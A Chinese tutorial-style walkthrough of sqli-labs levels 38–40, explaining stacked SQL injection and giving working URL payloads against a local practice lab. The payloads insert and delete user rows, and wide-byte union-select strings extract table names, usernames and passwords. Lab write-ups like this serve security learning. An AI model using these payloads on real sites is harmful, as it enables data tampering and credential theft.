SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)
0x1 堆叠注入讲解
(1)前言
国内有的称为堆查询注入,也有称之为堆叠注入。个人认为称之为堆叠注入更为准确。堆叠注入为攻击者提供了很多的攻击手段,通过添加一个新 的查询或者终止查询,可以达到修改数据和调用存储过程的目的。这种技术在SQL注入中还是比较频繁的。
(2)原理介绍
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
例子:
select * from student whereid=1;create table test;
当执行查询后,第一条显示查询信息,第二条则创建一个test表。
0x2 msyql数据库实例介绍
(1)查询数据的同时再新建一个表
select * from student where id =2;create table test like student;
这里加入like是复制student的表结构

查询数据库,确实多了个test表

(2)查询数据的同时再删除test表
select * from student where id =2;drop table test;

查看数据库,确实test被干掉了

0x3简单小结
这样一来我们可以利用堆叠注入进行增删改查等操作,但对于各个数据库(mysql,sqlserver,oracle)等,除oracle不允许外,其他操作可行性同样,(具体其他实例可以参考:https://www.cnblogs.com/0nth3way/articles/7128189.html)
0x4开始注入
构造一个payload:
http://192.168.232.135/sqli-labs/Less-38/?id=1';insert into users values(100,'test','test')--+

查看数据库

windows环境下可采用逃逸的方式:
payload:
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' or 1=1 %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,version(),database() %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
http://localhost:81/sqli-labs-master/Less-38/index.php?id=%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

0x5 第三十九关
同三十八关一样,只是没有了单引号闭合
不同点:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
payload:
http://192.168.232.135/sqli-labs/Less-39/
?id=1;insert into users values(100,'test','test')%23
http://192.168.232.135/sqli-labs/Less-39/
?id=1;delete from users where id=100%23
0x6 第四十关
不同点:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
SQL注入之Sqli-labs系列第三十八关、第三十九关,第四十关(堆叠注入)的更多相关文章
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- Sqli labs系列-less-5&6 报错注入法(上)
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于 ...
- Sqli labs系列-less-5&6 报错注入法(下)
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...
- Sqli labs系列-less-4 这关好坑!!!
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...
- 聊聊高并发(三十八)解析java.util.concurrent各个组件(十四) 理解Executor接口的设计
JUC包中除了一系列的同步类之外,就是Executor运行框架相关的类.对于一个运行框架来说,能够分为两部分 1. 任务的提交 2. 任务的运行. 这是一个生产者消费者模式,提交任务的操作是生产者,运 ...
- sqli-labs less38-53(堆叠注入 order by之后相关注入)
堆叠注入 less-38 less-39 less-40 less-41 less-42 less-43 less-44 less-45 考察order by相关注入 less-46 less-47 ...
- SQL注入系列:SQLi Labs
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...
随机推荐
- python 爬虫新解
关于python爬虫多个库的选择反反复复,总是不知道选择哪个,通过试过多个晚上的选择 reques Beautifulsoup 以上两个库足够爬虫,已反爬虫网站数据的爬取.先上代码: 库的调用: 网页 ...
- [luogu P3391] 文艺平衡树
[luogu P3391] 文艺平衡树 题目背景 这是一道经典的Splay模板题——文艺平衡树. 题目描述 您需要写一种数据结构(可参考题目标题),来维护一个有序数列,其中需要提供以下操作:翻转一个区 ...
- 微信内嵌浏览器打开手机浏览器下载APP(APK)的方法
想必大家会经常碰到网页链接在微信内无法打开和微信内无法打开app下载页的情况.通常这种情况微信会给个提示 “已停止访问该网址” ,那么导致这个情况的因素有哪些呢,主要有以下四点 1.网页链接被举报次数 ...
- python3 发送gzip文件请求
#condig=utf-8import requestsimport json,gzip def toGzipFormat(postData): data=bytes(json.dumps(postD ...
- centos6.8安装mysql5.5
在使用阿里云的时候发现centos6.8系统自带的源当中没有mysql5.5,在网易这些源里面也是5.1的版本.这里安装mysql5.5的话需要另外添加一个源. 1.查看是否已经安装了MySQL rp ...
- error connecting to master 'repl@192.168.1.107:3306' - retry-time: 60 retries: 86400
很多时候,就算thread 正在进行,也不代表没有错误,一定要看看具体表示错误的变量 mysql> show slave status\G *************************** ...
- JS a标签默认鼠标事件,导致无法修改input选中状态
今天踩了一个坑
- 坦克大战学习笔记-TankWar
最近学习了马士兵老师直播的单机版坦克大战,模仿的做了一个,整理一下思路记录下来,项目git地址:https://github.com/zhuchangli/TankWar/tree/master 视频 ...
- Mybatis面试题
面试题示例 1.JDBC编程有哪些不足之处,MyBatis是如何解决这些问题的? 1)数据库链接创建.释放频繁造成系统资源浪费从而影响系统性能,如果使用数据库链接池可解决此问题. 解决:在SqlMap ...
- PHP 轻量级 REST框架
GITHUB:https://github.com/jacwright/RestServer 简介: 一个PHP REST服务器,用于提供非常轻量级的REST API.很容易上手.独立于其他库和框架. ...